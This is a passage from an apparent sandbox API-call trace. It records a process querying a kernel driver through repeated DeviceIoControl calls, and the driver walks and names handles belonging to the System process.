Object=0xfffffa800397bbc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.292] ObfDereferenceObject (Object=0xfffffa800397bbc0) returned 0x2 [0135.292] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.293] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.293] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.293] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.293] PsAcquireProcessExitSynchronization () returned 0x0 [0135.293] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.293] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214cdb0, HandleInformation=0x0) returned 0x0 [0135.293] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.293] PsReleaseProcessExitSynchronization () returned 0x2 [0135.293] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.293] ObQueryNameString (in: Object=0xfffffa800214cdb0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.293] ObfDereferenceObject (Object=0xfffffa800214cdb0) returned 0x2 [0135.293] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.293] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.293] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.293] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.293] PsAcquireProcessExitSynchronization () returned 0x0 [0135.293] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.293] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80030bbf20, HandleInformation=0x0) returned 0x0 [0135.293] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.293] PsReleaseProcessExitSynchronization () returned 0x2 [0135.293] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.293] ObQueryNameString (in: Object=0xfffffa80030bbf20, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.293] ObfDereferenceObject (Object=0xfffffa80030bbf20) returned 0x2 [0135.293] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.293] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.293] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.293] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.293] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.293] PsAcquireProcessExitSynchronization () returned 0x0 [0135.293] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.293] ObReferenceObjectByHandle (in: Handle=0xffffffff800007dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020cb430, HandleInformation=0x0) returned 0x0 [0135.293] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.294] PsReleaseProcessExitSynchronization () returned 0x2 [0135.294] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.294] ObQueryNameString (in: Object=0xfffffa80020cb430, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.294] ObfDereferenceObject (Object=0xfffffa80020cb430) returned 0x2 [0135.294] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.294] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.294] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.294] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.294] PsAcquireProcessExitSynchronization () returned 0x0 [0135.294] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.294] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80025be3b0, HandleInformation=0x0) returned 0x0 [0135.294] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.294] PsReleaseProcessExitSynchronization () returned 0x2 [0135.294] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.294] ObQueryNameString (in: Object=0xfffffa80025be3b0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.294] ObfDereferenceObject (Object=0xfffffa80025be3b0) returned 0x2 [0135.294] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.294] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.294] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.294] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.294] PsAcquireProcessExitSynchronization () returned 0x0 [0135.294] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.294] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019ee230, HandleInformation=0x0) returned 0x0 [0135.294] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.294] PsReleaseProcessExitSynchronization () returned 0x2 [0135.294] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.294] ObQueryNameString (in: Object=0xfffffa80019ee230, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.294] ObfDereferenceObject (Object=0xfffffa80019ee230) returned 0x2 [0135.294] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.294] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.294] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.294] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.295] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.295] PsAcquireProcessExitSynchronization () returned 0x0 [0135.295] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.295] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037b37c0, HandleInformation=0x0) returned 0x0 [0135.295] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.295] PsReleaseProcessExitSynchronization () returned 0x2 [0135.295] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.295] ObQueryNameString (in: Object=0xfffffa80037b37c0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.295] ObfDereferenceObject (Object=0xfffffa80037b37c0) returned 0x2 [0135.295] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.295] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.295] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.295] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.295] PsAcquireProcessExitSynchronization () returned 0x0 [0135.295] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.295] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002112890, HandleInformation=0x0) returned 0x0 [0135.295] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.295] PsReleaseProcessExitSynchronization () returned 0x2 [0135.295] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.295] ObQueryNameString (in: Object=0xfffffa8002112890, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.295] ObfDereferenceObject (Object=0xfffffa8002112890) returned 0x2 [0135.295] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.295] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.295] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.295] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.295] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.295] PsAcquireProcessExitSynchronization () returned 0x0 [0135.295] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.295] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003b13260, HandleInformation=0x0) returned 0x0 [0135.295] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.295] PsReleaseProcessExitSynchronization () returned 0x2 [0135.295] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.295] ObQueryNameString (in: Object=0xfffffa8003b13260, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.295] ObfDereferenceObject (Object=0xfffffa8003b13260) returned 0x2 [0135.295] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.296] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.296] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.296] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.296] PsAcquireProcessExitSynchronization () returned 0x0 [0135.296] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.296] ObReferenceObjectByHandle (in: Handle=0xffffffff800007fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800193d050, HandleInformation=0x0) returned 0x0 [0135.296] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.296] PsReleaseProcessExitSynchronization () returned 0x2 [0135.296] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.296] ObQueryNameString (in: Object=0xfffffa800193d050, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.296] ObfDereferenceObject (Object=0xfffffa800193d050) returned 0x2 [0135.296] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.296] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.296] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.296] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.296] PsAcquireProcessExitSynchronization () returned 0x0 [0135.296] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.296] ObReferenceObjectByHandle (in: Handle=0xffffffff80000804, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800358df20, HandleInformation=0x0) returned 0x0 [0135.296] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.296] PsReleaseProcessExitSynchronization () returned 0x2 [0135.296] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.296] ObQueryNameString (in: Object=0xfffffa800358df20, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.296] ObfDereferenceObject (Object=0xfffffa800358df20) returned 0x2 [0135.296] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.296] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.296] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.296] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.296] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.296] PsAcquireProcessExitSynchronization () returned 0x0 [0135.296] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.297] ObReferenceObjectByHandle (in: Handle=0xffffffff80000808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002849960, HandleInformation=0x0) returned 0x0 [0135.297] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.297] PsReleaseProcessExitSynchronization () returned 0x2 [0135.297] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.297] ObQueryNameString (in: Object=0xfffffa8002849960, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.297] ObfDereferenceObject (Object=0xfffffa8002849960) returned 0x2 [0135.297] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.297] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.297] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.297] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.297] PsAcquireProcessExitSynchronization () returned 0x0 [0135.297] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.297] ObReferenceObjectByHandle (in: Handle=0xffffffff8000080c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002112310, HandleInformation=0x0) returned 0x0 [0135.297] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.297] PsReleaseProcessExitSynchronization () returned 0x2 [0135.297] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.297] ObQueryNameString (in: Object=0xfffffa8002112310, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.297] ObfDereferenceObject (Object=0xfffffa8002112310) returned 0x2 [0135.297] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.297] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.297] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.297] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.297] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.297] PsAcquireProcessExitSynchronization () returned 0x0 [0135.297] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.297] ObReferenceObjectByHandle (in: Handle=0xffffffff80000814, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002088810, HandleInformation=0x0) returned 0x0 [0135.297] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.297] PsReleaseProcessExitSynchronization () returned 0x2 [0135.297] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.297] ObQueryNameString (in: Object=0xfffffa8002088810, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.298] ObfDereferenceObject (Object=0xfffffa8002088810) returned 0x2 [0135.298] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.298] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.298] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.298] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.298] PsAcquireProcessExitSynchronization () returned 0x0 [0135.298] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.298] ObReferenceObjectByHandle (in: Handle=0xffffffff8000081c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002119050, HandleInformation=0x0) returned 0x0 [0135.298] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.298] PsReleaseProcessExitSynchronization () returned 0x2 [0135.298] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.298] ObQueryNameString (in: Object=0xfffffa8002119050, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.298] ObfDereferenceObject (Object=0xfffffa8002119050) returned 0x2 [0135.298] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.298] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.298] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.298] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.298] PsAcquireProcessExitSynchronization () returned 0x0 [0135.298] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.298] ObReferenceObjectByHandle (in: Handle=0xffffffff80000824, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003966f20, HandleInformation=0x0) returned 0x0 [0135.298] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.298] PsReleaseProcessExitSynchronization () returned 0x2 [0135.298] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.298] ObQueryNameString (in: Object=0xfffffa8003966f20, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.298] ObfDereferenceObject (Object=0xfffffa8003966f20) returned 0x2 [0135.298] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.298] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.298] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.298] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 